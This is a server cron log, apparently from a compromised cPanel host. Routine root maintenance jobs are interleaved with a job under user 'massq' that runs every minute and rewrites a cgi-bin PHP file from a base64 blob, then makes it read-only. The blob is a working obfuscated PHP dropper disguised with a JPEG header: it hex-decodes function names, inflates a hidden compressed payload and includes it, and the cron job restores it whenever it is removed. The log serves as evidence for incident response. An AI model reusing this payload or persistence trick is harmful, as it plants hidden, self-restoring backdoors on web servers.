Sep  7 00:34:01 server CROND[27606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:34:01 server CROND[27607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:34:01 server CROND[27608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:35:01 server CROND[27995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:35:01 server CROND[27998]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:35:01 server CROND[28003]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 00:35:01 server CROND[27997]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:35:01 server CROND[28001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:35:01 server CROND[28000]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 00:35:01 server CROND[28002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:35:01 server CROND[27999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:35:01 server CROND[28004]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 00:36:01 server CROND[28836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:36:01 server CROND[28837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:36:01 server CROND[28838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:37:01 server CROND[29205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:37:01 server CROND[29207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:37:01 server CROND[29206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:38:01 server CROND[29574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:38:01 server CROND[29575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:38:01 server CROND[29576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:39:01 server CROND[30036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:39:01 server CROND[30037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:39:01 server CROND[30040]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 00:39:01 server CROND[30038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:40:01 server CROND[30427]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 00:40:01 server CROND[30428]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:40:01 server CROND[30432]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 00:40:01 server CROND[30429]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 00:40:01 server CROND[30433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:40:01 server CROND[30431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:40:01 server CROND[30434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:40:01 server CROND[30430]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 00:41:01 server CROND[31259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:41:01 server CROND[31260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:41:01 server CROND[31261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:42:01 server CROND[31628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:42:01 server CROND[31629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:42:01 server CROND[31631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:42:01 server CROND[31630]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 00:43:01 server CROND[31994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:43:01 server CROND[31995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:43:01 server CROND[31996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:44:01 server CROND[32476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:44:01 server CROND[32477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:44:01 server CROND[32478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 00:45:01 server CROND[402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 00:45:01 server CROND[403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:45:01 server CROND[407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:45:01 server CROND[406]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
